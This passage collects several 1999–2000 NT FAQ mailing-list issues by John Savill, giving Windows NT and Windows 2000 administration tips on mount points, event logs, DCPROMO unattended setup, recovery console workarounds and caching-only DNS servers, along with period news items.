A. To modify the DHCP lease duration from the normal 8 days perform the following:

1, Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
2, Expand the server
3, Right click the scope whose lease time you wish to change and select Properties
4, Select the General tab

At the bottom of the window you can select lease duration either Unlimited or a finite time.
Click Apply then OK

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com] Sent: 02 November 1999 18:49 To: NTFAQ Mailing List Subject: NT FAQ, 2 November 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Windows 2000 should be released February 17th 2000 on shop shelves and should be released to manufacturing end of 1999. See http://www.microsoft.com/presspass/press/1999/Oct99/LaunchdtPR.htm for more information. Service Pack 6 released. Download from http://download.microsoft.com/download/winntsp/SP/6.0/NT4/EN-US/SP6I386.exe. Also see http://www.microsoft.com/ntserver/nts/downloads/recommended/PREM_SP6/allSP6.asp. New additions last week: Q. I can't add or remove Accessories on a Windows 2000 professional machine. Q. What are reparse points? Q. What are directory junctions? Q. What are Mount points? Q. What do I add a Mount point? Q. What do I remove a Mount point? Q. How can I create a browse election log file? Q. How can I restrict guest access to Event logs? Q. How can I enable auditing of base objects? Q. How can I remove a device driver? Q. When will Windows 2000 be released? Q. How do I remove the resource kit time service? Q. NT 3.51 daylight saving update. Q. I get an error when I try and install Internet Explorer 4.0 using Active Setup. Q. How can I configure event log wrapping in Windows 2000? Q. How do I enable NTLM 2.0 support in Windows 98? ---------------------------------------------------- Q. I can't add or remove Accessories on a Windows 2000 professional machine. A. If you select the Add/Remove programs control panel applet and select 'Add/Remove Windows components' there should be a section 'Accessories and Utilities' which clicking details allows addition of calculator, games etc however it may be missing on some computers. To fix perform the following: 1, Start notepad 2, Open the file %systemroot%\inf\sysoc.inf 3, Find the '; old base components' section and remove the HIDE word so from Games=ocgen.dll,OcEntry,games.inf,HIDE,7 AccessUtil=ocgen.dll,OcEntry,accessor.inf,HIDE,7 CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7 media_clips=ocgen.dll,OcEntry,mmopt.inf,HIDE,7 MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7 AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7 Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7 MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7 TO Games=ocgen.dll,OcEntry,games.inf,,7 AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7 CommApps=ocgen.dll,OcEntry,communic.inf,,7 media_clips=ocgen.dll,OcEntry,mmopt.inf,,7 MultiM=ocgen.dll,OcEntry,multimed.inf,,7 AccessOpt=ocgen.dll,OcEntry,optional.inf,,7 Pinball=ocgen.dll,OcEntry,pinball.inf,,7 MSWordPad=ocgen.dll,OcEntry,wordpad.inf,,7 4, Save the file 5, You don't need to reboot and the Accessories should now be available -------------------------------------------------------------------------------- Q. What are reparse points? A. Much of the new Windows 2000 file system enhancements are possible thanks to reparse points which basically provide a “hook” into the file system and allow extensions to the storage subsystem without the need to proprietary code to be written. Reparse points are actually special file system objects which have a special attribute that activate extra functionality in the storage subsystem. Any file or folder can have a reparse point meaning a single path can trigger multiple portions of extended functionality. -------------------------------------------------------------------------------- Q. What are directory junctions? A. Directory junctions allow you to join folders together so you can map a directory to any local target directory. Imagine you had three folders, c:\folder1, c:\folder2 and c:\documents. Its possible to create a directory junction to c:\documents appears as a subdirectory of the other two folders resulting in c:\folder1\documents and c:\folder2\documents. Originally a utility was supplied which enabled the creation of these junction points, linkd.exe, however this is now removed and directory junctions can only be created using the Application Programming Interface so you need to write a program. Hopefully we will see this added back to the product soon. On first view, directory junctions and the Distributed File System perform some of the same roles as they both give the appearance of a single directory tree which actually consist of multiple, distributed folders however there are differences: - DFS utilitizes the Active Directory to store its information - Thanks to its Active Directory root Dfs can provide fault tolerance and load balancing, directory junctions cannot provide either of these although in a local context its not so necessary - DFS is more geared to merging network resources into a single namespace where as directory junctions only link local machine resources - DFS can work using multiple file systems but directory junctions rely on NTFS 5.0 - DFS requires a client piece, directory junctions don’t -------------------------------------------------------------------------------- Q. What are Mount points? A. Mount points are similar to junction points except that allow only the root of a volume to be mounted as a folder and are created using Reparse points thus the NTFS 5.0 requirement. Mount points are useful for increasing a drives “size” without disturbing it. For instance you could create a mount point to drive d: as c:\documents thus seeming to increase the size available on c: -------------------------------------------------------------------------------- Q. What do I add a Mount point? A. Mount points are created using the Disk Administration MMC as follows: 1, Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management) 2, Expand the Storage branch and select Disk Management 3, Right click on the volume you want to create as a mount point and select ‘Change Drive Letter and Path’ 4, Click ‘Add’ 5, Select a new ‘folder’ for the folder to be mounted as. If you click browse it will only show NTFS 5.0 volumes. Click OK If you then look in explorer the new mount point will have the icon of a disk but will have the full content of the disk as shown below -------------------------------------------------------------------------------- Q. What do I remove a Mount point? A. Mount points are removed using the Disk Administration MMC as follows: 1, Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management) 2, Expand the Storage branch and select Disk Management 3, Right click on the volume you want to create as a mount point and select ‘Change Drive Letter and Path’ 4, Select the mount point to remove 5, Click Remove 6, Click Yes to the confirmation It will leave the folder that was created so you need to manually remove it, in the example the folder 'd:\data drive' will be left as an empty folder. -------------------------------------------------------------------------------- Q. How can I create a browse election log file? A. Using the checked version of RDR.SYS its possible to create a log file of the browser elections so you can monitor exactly what is happening. To turn on the log perform the following: 1, Back up the original file to replace after troubleshooting by renaming %Systemroot%\System32\Drivers\rdr.sys to %Systemroot%\System32\Drivers\rdr.bak 2, Place the checked version of rdr.sys in the %systemroot%\system32\drivers directory (you may have to rename from .chk to .sys) 3, After you replace the original file with the checked version, start the registry editor (regedit.exe) 4, Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rdr\Parameters 5, From the Edit menu select New - DWORD value and enter a name of BowserDebugLogLevel 6, Double click the new value and set to ffffffff (in Hex) 7, From the Edit menu select New - DWORD value and enter a name of BowserDebugTraceLevel 8, Double click the new value and set to ffffffff (in Hex) 9, Close the registry editor Note Yes, its Bowser not Browser. Don't ask me :-) A log file Bowser.log will be created in the %systemroot% folder. An example content would be: Bowser::Find_Master: Master not found, forcing election. = Could not find the master browser, so force an election. Bowser: Last election long enough ago, forcing election on \Device\NetBT_El90x1 = Wait a little while to decrease the chance of a browser storm. Send true election. = The need to force an election that we think we can win is seen. Send dummy election. = Force an election that we are not hoping to win, for example, shutting down the browser or because we cannot find a backup browser. The criteria of the election is 0x0. New server: TITANIC. Periodicity: 240 = A new server (TITANIC) was found in our domain that we need to remember. #New domain: SAVILLTECH. Periodicity: 900 = A new domain (SAVILLTECH) was found to add to our list of domains. Domain pass for \Device\NetBT_El90x1 = We are going to search for new domains on the transport \Device\NetBT_El90x1. Received election packet on net \Device\NetBT_El90x1 from machine TITANIC. Version: 1; Criteria: 20010fa8; TimeUp: 8750 = A computer (named TITANIC) forced an election, on the network transport \Device\NetBT_El90x1, it is running Browser version 1, its criteria is 20010fa8, and it has been up for 8750 seconds. We lost the election = There was an election and we lost it. Dummy election request ignored during election. = There is an election in process so we can discard the election packets with the criteria of 0x0. -------------------------------------------------------------------------------- Q. How can I restrict guest access to Event logs? A. By default guests and anonymous can view the event log, this may give away important information and so anonymous/guest access can be disabled as follows: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog 3, Move to the subkey Application 4, From the Edit menu select New - DWORD value. Enter a name of RestrictGuestAccess. click OK 5, Double click the new value and set to 1 6, Repeat steps 4 and 5 for the Security and System sub-keys also. -------------------------------------------------------------------------------- Q. How can I enable auditing of base objects? A. To enable auditing of base objects perform the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 3, From the Edit menu select New - DWORD value. Enter a name of AuditBaseObjects. click OK 4, Double click the new value and set to 1 You can also turn on full privilege auditing (but this will fill your event log): 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 3, From the Edit menu select New - DWORD value. Enter a name of FullPrivilegeAuditing. click OK 4, Double click the new value and set to 1 -------------------------------------------------------------------------------- Q. How can I remove a device driver? A. To remove a driver perform the following: 1, Stop the service or device driver. 2, For services, run Control Panel and choose Services. For device drivers, run Control Panel and choose Devices. 3, If the service or device driver does not stop, set the startup type to disabled and reboot the computer. 4, Start the registry editor (REGEDT32.EXE). 5, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 6, Find the registry key that corresponds to the service or device driver to be deleted. 7, Select the key. 8, From the Edit menu, choose Delete. 9, Choose YES to confirm the deletion of the key. 10, Close the registry editor 11, Shut down and restart the computer The NT-Resource Kit has a tool named SRVINSTW which on the third screen allows you to add the device Drivers for removal. -------------------------------------------------------------------------------- Q. When will Windows 2000 be released? A. February 17th 2000 should see the product on shop shelves and should be released to manufacturing end of 1999. See http://www.microsoft.com/presspass/press/1999/Oct99/LaunchdtPR.htm for more information. -------------------------------------------------------------------------------- Q. How do I remove the resource kit time service? A. To remove the timeserv resource kit utility perform the following: Start the services control panel applet and stop the Time Service. Start the registry editor (regedt32.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application Select TimeServ and click Del. Click YES to the confirmation Move to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services Select TimeServ and click Del. Click YES to the confirmation Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application Select TimeServ and click Del. Click YES to the confirmation If you start the Services control panel applet and the TimeServ service should be disabled and unavailable. Reboot the computer and it will not be shown. -------------------------------------------------------------------------------- Q. NT 3.51 daylight saving update. A. Some of you may be aware that NT3.51 requires a manual update to bring it up to the revised daylight saving schedule, subsequent to the standardization of Daylight Saving by the EC. I had thought we'd caught most of this yesterday, but anyone who still has 3.51 machines which have reverted back to GMT already may wish to update these machines according to the instructions below. The issue has arisen as 3.5x GMT zone was set to begin at the 4th weekend in October (this is usually standard) HOWEVER this year October has 5 weekends and as agreed with the various time organizations, some years back, GMT will begin again on the 5th weekend - October 30/31 1999. However in 3.5x the time zone is still set to weekend number 4. Q156084 is the basics. Basically the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\GMT\TZI needs to be: 0000000000000000C4FFFFFF00000A00000005000200000000000000000003000000050001 00000000000000 - note the first 5 in the string was originally a 4 This then needs to be changed in: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\StandardStart - so change the 4 to a 5. The most consistent way for changes to take effect is then to REBOOT. -------------------------------------------------------------------------------- Q. I get an error when I try and install Internet Explorer 4.0 using Active Setup. A. A bug exists in the Internet Explorer 4.0 setup process that can cause problems when installing resulting in a number of possible errors: Internet Explorer 4.0 Active Setup Internet Explorer 4.0 was not successfully installed. Setup was unable to download all the required components. The Internet is likely busy. Please try Setup again later and select Smart Recovery to continue downloading. Knowledge Base article Q171714 (at http://support.microsoft.com/support/kb/articles/Q171/7/14.ASP) explains fixes to this however to fix under Windows NT 4.0 perform the following: Start Explorer Move to %systemroot%\system32 Rename the file wintrust.dll to wintrust.old Start the IE 4.0 installation (I did not have to reboot) -------------------------------------------------------------------------------- Q. How can I configure event log wrapping in Windows 2000? A. After a while when you start Windows 2000 you will get warnings about log x being full. To action these requests and set log options perform the following: Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management) Expand System Tools and select Event Viewer Right click on the relevant log, for example Application and select Properties Set the log size and how it should overwrite. Selecting 'Overwrite events as needed' may be the easiest to manage but it leaves you wide open from an auditing perspective Click Apply then OK You will notice when you right click on the event log you can also clear its contents using the relevant context menu option. -------------------------------------------------------------------------------- Q. How do I enable NTLM 2.0 support in Windows 98? A. Windows 2000 supplies a directory services client which can be installed as described in 'Q. How do I install the Windows 9x directory services client?'. To verify you have the required version, right click on c:\windows\System\Secur32.dll in Explorer and choose Properties. The Version tab should read Microsoft Win32 Security Services (Export Version) or Microsoft Win32 Security Services (US and Canada Only). To enable NTLM 2.0 after installing the directory services client on Windows 9x machines perform the following on the domain controllers: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa Double click LMCompatibilityLevel (if it does not exist create of type REG_DWORD) Set to 3 Click OK Reboot -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- John


From: John Savill [john@savilltech.com] Sent: 02 September 1999 10:57 To: NTFAQ Mailing List Subject: NT FAQ, 2 September 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Thanks to everyone who mailed me regarding my Wedding, it all went brilliantly and the honeymoon was terrific. Once I get the pictures back I'll post a couple so you can all laugh at me. The book version of the FAQ is doing really well (Thanks!) and is now in its second print. Its had a number of great reviews and you can get it from your book shop or from http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq. New version of Service Pack 6 beta released to core testers. Looks good. Compaq have announced that it was laying off more than 100 of its Alpha/NT employees in its DECwest facility located near the Microsoft campus. This group of developers was tasked with making Alpha on NT a technical reality. Citing Compaq's decision and the strength of Intel's architecture and systems, Microsoft says it will discontinue development of future 32-bit and 64-bit Alpha products across its existing product line. Originally Digital and Microsoft had an agreement for Alpha support for NT and the back office but not for the development products which has been part of the problem. When Compaq bought Digital the chance of Alpha support disappearing was always a possibility. See http://www.microsoft.com/ntserver/nts/news/msnw/compaq.asp for more details. Build 2099 of Windows 2000 Professional released to core Windows 2000 beta testers Release Candidate 2 of Windows 2000 is now slated for September 15th. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week(s): Q. My Mac hangs if I connect to an NT share and don't have full permissions for the directory root. Q. How do I install Active Desktop on Terminal Server? Q. What's new in the Windows 2000 version of RegEdit? Q. How do I create a dial-up connection in Windows 2000? Q. I've increased the size of a hardware RAID volume but NT does not see the size increase, what can I do? Q. How can I automate a server upgrade to a Domain Controller during installation? Q. How can I tell which DLL's and API calls a program makes? -------------------------------------------------------------------------------- Q. My Mac hangs if I connect to an NT share and don't have full permissions for the directory root. A. If you are connecting from a Mac to an NT share, and you do not have full permissions on the root directory of said share, the Macintosh may lock up. The solution is to turn off the "Recent Servers/Applications" option from Control Panel. -------------------------------------------------------------------------------- Q. How do I install Active Desktop on Terminal Server? A. Active Desktop is not supported on Windows Terminal Server through SP4. -------------------------------------------------------------------------------- Q. What's new in the Windows 2000 version of RegEdit? A. As we saw in the last registry tip, the Windows 2000 version of Regedit.exe now remember the last key that was open when you start the application. The second major change is the introduction of a favorites menu to which you can add you most used and 'favorite' registry keys (you would have to be sad :-) ). REGEDT32.EXE has not had any major functionality changes. -------------------------------------------------------------------------------- Q. How do I create a dial-up connection in Windows 2000? A. Windows 2000 has removed the segregation between LAN and dial-up connections, they are all just connections now. To create a Dial-up connection to an ISP or your work you need to create a new connection using a modem as the connection medium: From the Start menu select 'Network and Dial-up Connection' Double click 'Make New Connection' Click Next to the introduction wizard Select 'Dial-up to the Internet' and click Next Select 'I want to set up my Internet connection manually' and click Next Select 'I connect through a phone line and a modem' (if you are using ISDN you would select local area network). Click Next Make sure your modem is connected and turned on, check the 'Don't detect my modem' box is not selected anc click Next If it can't find your modem click Next and you can choose it from a list. Enter the phone details of the ISP. Click Next Enter your username and password and click Next Finally give it a name, for example 'Connection to UUnet'. Click Next You will be asked if you wish to setup mail. Make your choice and click Next Click Finish Your new connection will now be visible from 'Network and Dial-up Connections'. To change its properties right click on the connection and select Properties. -------------------------------------------------------------------------------- Q. I've increased the size of a hardware RAID volume but NT does not see the size increase, what can I do? A. You need to reset the Disk Administrator configuration by performing the following: Backup your disk configuration by starting disk administrator (Start - Programs - Administrative Tools - Disk Administrator or just run WINDISK.EXE) Insert a floppy disk and from the Partition menu select Configuration - Save. You configuration will then be saved to the disk Close the Disk Administrator Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\DISK Select the Disk key and press DEL. Close the registry editor Restart the Disk Administrator It will say its the first time Disk Administrator has been run and it will update the disk configuration -------------------------------------------------------------------------------- Q. How can I automate a server upgrade to a Domain Controller during installation? A. Its possible to run the DCPROMO.EXE utility automatically during an unattended installation using the following method: The Dcpromo process can be scripted by using the dcpromo /answer:%path_to_answer_file% command. In the following example, the [DCInstall] section and parameters are added directly to the unattended answer file. The parameters for the DCInstall section are detailed in the Unattend.doc supplied with the resource kit but below are the main entries: AdministratorPassword The new password for the domain Administrator account AutoConfigDNS Indicates if the wizard should configure DNS ChildName Name of the child part of domain CreateOrJoin Specifies if the domain will join an existing forest or create a new one DatabasePath Location for the Active Directory database DNSOnNetwork Used when a new forest of domains is being installed and no DNS client is configured on the computer DomainNetBiosName NetBIOS name for the domain IsLastDCInDomain Only valid when demoting an existing domain controller to a member server LogPath Path for the DS logs NewDomainDNSName Name of the new tree or when a new forest is being created ParentDomainDNSName Specifies name of parent domain Password Password for username being used to promote server RebootOnSuccess Whether an automatic reboot should be performed ReplicaDomainDNSName Name of the domain to be replicated from ReplicaOrMember Specifies if a 3.51 or 4.0 BDC being upgraded should become a replica domain controller or be demoted to a regular member server. ReplicaOrNewDomain Specifies if this is a new DC in a new domain or if its a replica of existing domain SiteName Name of the site, by default this is "Default-First-Site" SysVolPath Path of SYSVOL TreeOrChild If this is a new tree of child of existing domain UserDomain Domain for the user being used in promotion UserName Name of user performing the upgrade Because this process occurs after setup, the answer file created is named $winnt$.inf and is copied to the \system32 folder. Because the parameters are in this file, you must add the following text to the [GUIRunOnce] section of the unattended Setup answer file: [GUIRunOnce] "DCpromo /answer:%systemroot%\system32\$winnt$.inf" Once the Dcpromo process completes, password information is removed from the $winnt$.inf file. To make this process easier because the Run-once command does not execute until someone logs on to the computer, you can add the following text to the unattended answer file: [GUIUnattended] Autologon = yes ; automatically logs on the administrator account AutoLogoncount = n ; number of times to perform auto-admin logon Easy :-) Don't use items like %systemroot% or %windir% etc as they are not understood during unattended installations. You can just create a [DCInstall] section directly in your unattend.txt file and to avoid having multiple unattended setup files. [DCInstall] AdministratorPassword = cartman CreateOrJoin = Create DomainNetBiosName = savtech NewDomainDNSName = savtech.com RebootOnSuccess = Yes ReplicaOrNewDomain = Domain SiteName = "London" TreeOrChild = Tree The script above would create a new forest with domain savtech.com at the top with the created domain controller in site London. Default locations for the SYSVOL, logs and Active Directory files will be used. The new domain Administrator account password would be cartman (Southpark rules!). You can of course use this outside of an unattended installation if you wish after you've installed by just typing: DCPROMO /answer: A small dialog saying DCPROMO is running in unattended mode will be displayed and then it will reboot. -------------------------------------------------------------------------------- Q. How can I tell which DLL's and API calls a program makes? A. The Windows NT/2000 resource kit supplies a utility called APIMON which can be used to monitor all DLL and API calls made. To use perform the following: Start APIMON (Start - Run - APIMON.EXE) From the File menu select Open Select the image you want to monitor and click OK (I'm using %systemroot%\system32\notepad.exe) Two blank windows, 'DLL's in use' and 'Api Counters' The next task is to start the selected image. Click the green Play arrow (or select 'Start Monitor' from the tools menu) The application will start and the two blank windows will now have DLL and API information. When complete click Stop or select 'Stop Monitor' from the tools menu Stopping the API Monitor program will also stop the image it had loaded so make sure you don't lose any work :-) -------------------------------------------------------------------------------- Till next week, take care. John


From: John Savill [john@savilltech.com] Sent: 03 August 1999 09:57 To: NTFAQ Mailing List Subject: NT FAQ, 3 August All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Nothing much to report this week. Microsoft have started beta testing on Millennium, the next Windows 9x version but who cares :-) Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. I get a Blue-Screen of Death during setup, help! Q. After uninstalling Windows 98 I am unable to boot NT. Q. My last known good configuration is missing or corrupt and I can't boot NT. Q. When I start Explorer I get a Dr Watson error, what can I do? Q. DNS resolution of a valid domain fails on NT. Q. International versions of NT have strange behavior in command prompt. ------------------------------------------------------------------------------------ Q. I get a Blue-Screen of Death during setup, help! A. If after you remove the 3rd setup disk from the machine and reboot a blue screen is displayed: Setup has encountered a fatal error that prevents it from continuing. Contact your software representative for help. Status code (-x4, 0, 0, 0) This indicates a virus in the Master Boot Record of the disk (this affects NTFS as well as FAT). Use an anti-virus product to clear the MBR and proceed with installation. -------------------------------------------------------------------------------- Q. After uninstalling Windows 98 I am unable to boot NT. A. When you uninstall Windows 98 from a dual boot machine with 95 and NT its setup program may delete the Windows NT boot.ini file which is needed by NTLDR to start Windows NT. To resolve either manually copy a backup of boot.ini to the active partition (C:) or use the Emergency repair disk to restore. -------------------------------------------------------------------------------- Q. My last known good configuration is missing or corrupt and I can't boot NT. A. Windows stores a last known good configuration which is replaced with the current configuration after a successful login. If during boot the System hive is corrupt it will try to use the last known good, if this is also corrupt you will get the following error and NT will not be able to boot: Windows NT could not start because the following file is missing or corrupt: \%systemroot%\SYSTEM32\CONFIG\SYSTEMHardware Profile/Last Known Good menu To resolve use one of the following: Method 1 Use the emergency repair disk and choose the 'Inspect Registry Files' from the recovery menu. Choose 'Replace System Configuration' from the next menu screen. This will replace the damaged Registry hive with the one on the ERD however if the ERD is out-of-date you will lose any changes. Method 2 If you don't have a ERD or its to old, restore the registry from a tape that has a backup of the registry (you would require a second parallel installation of NT). Method 3 If you can't do either of the previous options the files that make up the ERD are stored on the local harddisk in %systemroot%\Repair directory. You can therefore manually expand this backup: 1, Install a parallel copy of NT if you don't already have one 2, Boot into this second installation 3, Start a command prompt (CMD.EXE) 4, Move to the repair directory of the ORIGINAL NT installation C:\> cd \winnt\repair 5, Use the EXPAND command to expand the SYSTEM._ file C:\> expand system._ system 6, Copy the expanded file to the main config directory of the ORIGINAL installation C:\> copy system c:\winnt\system32\config 7, Try to reboot into the original installation If it still fails uninstall NT and use Windows 98, you can play more games :-) -------------------------------------------------------------------------------- Q. When I start Explorer I get a Dr Watson error, what can I do? A. If when you start Explorer yet receive the error: The handle is invalid or Dr. Watson Services.exe Exception: Access Violation (0xc0000005), Address: 0x76e073d4 This may be caused by a corrupt event file, a .evt file. Clicking OK to the error may also display the error: Event Viewer Remote Procedure Call failed The Event Viewer Log files (Sysevent.evt, Appevent.evt, Secevent.evt) are always in use by the system thus preventing the files from being deleted or renamed. The EventLog service (which has the files open) cannot be stopped because it is required by other services, thus the files are always open. In order to fix there are two methods depending on if your boot partition is NTFS or FAT NTFS Partition -------------- 1, Click the Services control panel applet (Start - Settings - Control Panel - Services) 2, Select the EventLog service and click Startup. Change the Startup Type to Disabled, and then click OK. If you are unable to log on to the computer but can access the registry remotely, you can change the Startup value in the following registry key to 0x4: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog 3, Restart Windows NT. NOTE: When the system starts up, several services may fail; a message informing the user to use Event Viewer to review errors may appear. 4, Rename or move the corrupt *.evt file from the following location: %SystemRoot%\system32\config 5, In Control Panel Services tool, reenable the EventLog service by setting it back to the default of Automatic startup, or change the registry Startup value back to 0x2. If you had another copy of NT installed on the computer you could boot to that installation and directly delete the .evt files from the %systemroot%\system32\config directory. FAT Partition ------------- Boot to a MS-DOS prompt using a DOS bootable disk or an alternate operating system installed on the computer. Rename or move the corrupt *.evt file from the following location: %SystemRoot%\system32\config Remove the disk and restart Windows NT. -------------------------------------------------------------------------------- Q. DNS resolution of a valid domain fails on NT. A. if you are running NT4 DNS with either SP4 or SP5 installed you may find a domain that resolves on Unix DNS servers server times out when you do an NSLOOKUP on NT. This is a known bug and a Quick Fix Engineering patch for NT bug 267085 is available from Microsoft support or wait for SP6 to come out. -------------------------------------------------------------------------------- Q. International versions of NT have strange behavior in command prompt. A. The cause may be that the commands require a US Set of Characters. Try starting your command prompt session with C:\> CHCP 437 This will hopefully help. It just sets the active code page to English (MS DOS Latin US). -------------------------------------------------------------------------------- John


From: John Savill [john@savilltech.com]
Sent: 03 April 2000 21:09
To: NTFAQ Mailing List
Subject: ** NT FAQ, 3rd April 2000 **

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

I've created a questionnaire which I'd be really grateful if you could complete. It will take a couple of minutes but will really help my advance the site as would best suit everyone. http://www.ntfaq.com/questionnaire.html

The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi

New additions last week:

Q. How do I enable ACPI on my machine/change the HAL?
Q. How do I disable/enable ACPI on my machine during installation?
Q. How do I create a caching-only DNS server?
Q. I'm unable to view/delete pagefile.sys using the recovery console.
Q. I get error messages when I try to eject/format/label a removable disk.
Q. The Administrator password I set during unattended installation is ignored.
Q. I'm getting a large number of event 2022 event logs.

--------------------------------------------------------

Q. How do I enable ACPI on my machine/change the HAL?

A. If during Installation you disabled ACPI to solve a problem (as seen in Q. How can I specify an alternate HAL during Windows 2000 installation?) you may want to enable again at a later time and this can be done as follows:

1, Right click on 'My Computer' and select Properties from the context menu
2, Select the Hardware tab
3, Click the 'Device Manager' button
4, Expand the Computer object
5, Its type will be shown, probably 'Standard PC' (if it says (Advanced Configuration and Power Interface (ACPI) PC then ACPI is enabled already)
6, Right click on the Computer type and select Properties
7, Select the 'Driver' tab
8, Click 'Update Driver'
9, The Upgrade Device Driver Wizard will start. Click Next
10, You can now either ask it to find a driver or manually select
11, If you select Manual select the 'Show all hardware of this device class' and select the ACPI driver. Click Next
12, Click Next to install the driver
13, Click Finish to the wizard and click Close the computer property driver dialog
14, Click Yes to restart your computer

Be careful with this though, if you select a HAL which your computer is not compatible with you may experience problems.

The correct way to swap to an ACPI HAL is to run winnt32.exe and perform an upgrade install (which keeps your settings). Here's the KB article URL: http://support.microsoft.com/support/kb/articles/q246/2/36.asp

--------------------------------------------------------------------------------

Q. How do I disable/enable ACPI on my machine during installation?

A. We saw in Q. How can I specify an alternate HAL during Windows 2000 installation? how to manually select an alternate HAL during installation but this can also be done via modifying a file during installation.

1, After the text-mode phase of setup completes but before the GUI stage boot into an alternate installation (or via a boot disk/CD)
Remote the read-only, hidden and system flags from the txtsetup.sif file
   C:\> attrib c:\txtsetup.sif -r -s -h
2, Edit the txtsetup.sif file and search for ACPIEnable=
3, To force ACPI to be enabled change to
   ACPIEnable=1
   To force ACPI to be disabled change to
   ACPIDisable=0
4, Save the file
5, Reapply the attributes
   C:\> attrib c:\txtsetup.sif +r +s +h
6, Continue with the Windows 2000 setup wizard

--------------------------------------------------------------------------------

Q. How do I create a caching-only DNS server?

A. Normally a DNS server holds records about various DNS zones which are replicated between other DNS servers (via the Active Directory in a AD enabled zone).

Caching-only DNS servers don't actually host any zones and are not authoritative for any domains but rather just cache results from queries asked them by clients. If a client asks it to resolve www.savilltech.com it will a zone holding DNS server to resolve it and cache the answer so if another client asks it to resolve the same record it can answer from its cache. This is similar in a way to a proxy server that caches popular web pages.

These are useful for sites connected via a WAN with a local caching-only DNS server saving on network traffic.

To configure a caching only DNS server perform the following:

1, Ensure the machine has a static IP address
2, Install the DNS service as per normal (Start - Settings - Control Panel - Add/Remove Software - Add/Remove Windows Components - Components - Networking Services - Details - Domain Name System (DNS) - OK - Next - Finish)
3, Start the DNS MMC (Start - Programs - Administrative Tools - DNS)
4, From the Action menu select 'Connect To Computer...'
5, In the Select Target Computer window enable 'The following computer:' and enter the name of a DNS server you want to cache.
6, Click OK

The machine will now start to gather a cache of host-IP mappings.

To clear the cache right click on the actual server name (not the server it is caching from) and select 'Clear Cache' from the context menu.

--------------------------------------------------------------------------------

Q. I'm unable to view/delete pagefile.sys using the recovery console.

A. A bug exists in Windows 2000 recovery console that does not display or let you delete pagefile.sys. The workaround is to copy another file to be pagefile.sys which will then expose the true file allowing it to be deleted:

1, Boot into Recovery Console.
2, Because you boot into the %SystemRoot% folder (most commonly the C:\Winnt folder), type the following command
cd \
3, Type the following command to overwrite the existing Pagefile.sys file with Boot.ini:
copy c:\boot.ini pagefile.sys
4, Type the following command:
del pagefile.sys

After you copy Boot.ini over to Pagefile.sys, Pagefile.sys appears in the directory listing.

--------------------------------------------------------------------------------

Q. I get error messages when I try to eject/format/label a removable disk.

A. There is a known issue in Windows 2000 that non-administrators have problems with removable disks.

A workaround is as follows:

1, Log on to the computer using a local administrator account or an account that has administrator privileges.
2, Click Start, click Run, type mmc.exe, and then click OK.
3, In Microsoft Management Console (MMC), click Add/Remove Snap-in on the Console menu.
4, Click Add.
5, Click Group Policy, and then click Add.
